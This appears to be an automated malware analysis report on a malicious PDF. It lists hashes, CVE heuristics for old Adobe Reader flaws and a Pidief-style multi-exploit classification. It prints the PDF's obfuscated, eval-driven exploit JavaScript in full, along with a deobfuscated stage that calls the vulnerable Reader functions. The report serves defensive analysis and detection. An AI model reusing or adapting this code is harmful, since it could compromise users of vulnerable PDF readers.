Malicious PDF — malware analysis report

Static analysis result for SHA-256 60afe238bbe0d536…

MALICIOUS

PDF

7.4 KB Created: 2010-10-12 13:57:36 Authoring application: Uefecinetoo (via 8cd20Licabenoka) First seen: 2013-02-17
MD5: 3fbd15b0ff081b7c119ad932f6c80280 SHA-1: a0281606d0d2239fcf0a09bd7f49492b00afbc4f SHA-256: 60afe238bbe0d53681208b30936098e270c9bbfd6287ce6902b215320bdc28ea
288 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, specifically targeting functions like Collab.getIcon, media.newPlayer, and util.printf. These exploits are designed to achieve arbitrary code execution on the victim's machine. The ML classifier strongly indicates maliciousness.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x1338 2426 bytes
SHA-256: 6dc78a9f1257dd5bd3dab587bf1ba2f61918aea574b071b87a496ec0f4610d0b
Preview script
First 1,000 lines of the extracted script
var eZWZ = null;

try {

var vI=new String("Fu"+"nc"+"ti"+"on");
function gNOF(n,jWL){return n+jWL};

var nCD=this;
var lKBU=String("char"+"At");
var qZOP=/[_#k97\>\$~q&%@]/g;
function z(pMJ){this.pSV=this.d=pMJ};
var tSL='';
var zAH=0;
var pSX=300;
var lWZ="rep"+"lac"+"e";
var rYN="vakr@ &iqD_W%Lk=7t7h>i@sk._d7;#f%=&\'#g9e$t#P@a>g_e>N@\'9;kd@Q%L&=9f7+~\'_t~h~W_okr@d7\'$;$r7O7Z%=>f&+>\'7u_m$Wko#r~d9sq\'$;>b&U_B7=>\'#p@aqgqe&N&u7m>\'~;%v7O&D9 q=& q891q k;7t>S>L9=k\'9\'&;_l>W~J#=$\'#j>o7i9n~\'@;%j$W9N9=q\'~\'9;%z#A~H$=_0$;qd~O$Z>=%S9t9r$i&n>g$;~dkGqX9=@\'~s#ukb7s9t~rq\'~;#r9QqN_=@\'~eqv#a%l~\'$;~p_C~N_=7\'>l$eknkg_t#h%\'&;%d#G$H7=%\'_\\>\\qxk\'%;@r~A#F@=&\'~t%o~S>t9rki%n&g>\'k;@x&G&P7=&\'#p%akrqs_e_I@n$t~\'#;>f9I$N%=q\'&f@r&o7m7Ckh9a7r%C#o7dke@\'~;kl7U~X_=q\'~c@h$a_r@C7okd>e$A~t%\'@;%p&M#T#=#4q/_4&;>r$E$B&=k1k+&4$;9v#A9D$=$290#0k+75q5@;$n_C$D@=k\'#d@okc@\'k;9f_O#J_=>3>3q2&;~b~O&J#=@[&]&;_n>U#Nq=9\'#\'$;kt~K9P_=q196#;khqY9Hq=$2$;#s9R$Y9Lq=>47;>zqS%X&=7i7D#W%Lk[#r~O>Z~]~(qi@D&W~Lq[~b9U@B~]~)_;&f&o>r%(_d$I7R$=qz#A_H#;@d@I&R&<9 qz7S#X9;q qd9I>R&+>+$)k{$v%a$r@ @r$C&X7=9i~DqW_L@[qd%Q>L$]9(%i&DqWkLk[qb_U&B~]$,~d@IqR$,kt_r#u9e%)q;9j@WkN%=7[qj$W@N>,@r9C$X%]#[9l~W@J9]>(#t&S#L9)k;>;9}&f$okr~(9d>I$R$=#0>;_d7I#R@ @<& >j&W@N7[#p7CqN&]~;9 9d&I~Rq+&=qh&Y_H@)~{kv_=#j$W#N&[qd9G9Xq]&(7dkIkRk,@h_YqHk)#;#zkY$N&=#p_akrqs#e#I>n7t_(%v#,7t#KkPq)~;%z&A%Z_=~z%YqN7^7v7O9D>;kn~O&Lq=qz>A7Z#._t$o&S>t&r>i9n~g>($t$K@P@)_;>n9O>Lq=k(~n%O%Lk[#p%C#N7]7=%=$pqM>T$)9 q?_ &\'~0k\'# >+q @n9O>L$ &:$ ~n>O_L@;kbkOkJ$.7pqu%s#h9(#n_O#L@)q;7}7t_r_y% &{9n_U_N~=knqe9w9 @S&t7rki&n&gq(_dqG#H~ &+7 >b@OkJk[>l&W$J9]@(&dqG9Hq)$)_;ka>pkp~[~r7Q@N#]@(~\'%n_UqN&=7\"%\'&+%n~UkN%+q\'9\"$;%\'>)&;>i#D9W&L%._xqW7Pk=7(_nqU>N#[~dkG%X~]_(#n%U_N7[~pqC~N$]q-&f#O#J&)$)%;>i#D_W&L9.#p#Y_N@=$(@n_U%N$[#d>G9X%]$(>z~AqH~,>nkU9Nk[%p$C7Nk]$-7f9OkJq)q)#;$l#C_H~(_)9;%}7 &c~a&t&c%h7($l&K$B&)#{~i%f$(9iqD7W9L%.#pkYqN~)q{7t&r%y# ${%a9p~p%[9r&Q$N@]7(7i%D%W>L$.$p$Y>N%)%;#}q qc@a7t>c$h7(@l_KkBq)>{qa7p~p_._a_l7e>rqtq(_l_K$B$)_;7}_}# _e#lks7e_ &{$a@p>pk.$a>l%e$r9t9(>\'>N7O# kC%O@D>E7\'#)_;%}%}_";
var pMT=1;
var pCN=String("leng"+"th");

;


function jUB(lSV){rIB=tSL; for(dIR=lSV[pCN];dIR >= zAH;dIR--) rIB=gNOF(rIB, lSV[lKBU](dIR)); return rIB}


rYN=rYN[lWZ](qZOP, tSL);

rQN=jUB(new String("lave"));
;


z.prototype={

dCJI : function(eFSV){

if(eFSV > pSX){

this.d[rQN](rYN);

} else {

eZWZ.dCJI(eFSV+pMT);

}
}
};

var eZWZ=new z(nCD);
eZWZ.dCJI(zAH);

} catch(nUN){

}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 153 bytes
SHA-256: 18699f9d55ae1f1fd22bc427d0f09ac790fd8fafb1557dc66370fe40318c5f52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords-XOR Pidief stage normalized */
app.viewerVersion;
Collab.getIcon("N."+unescape("%09"));
media.newPlayer(null);
util.printf("%45000f", 1);

Open this report in the interactive analyzer, or submit your own file for analysis.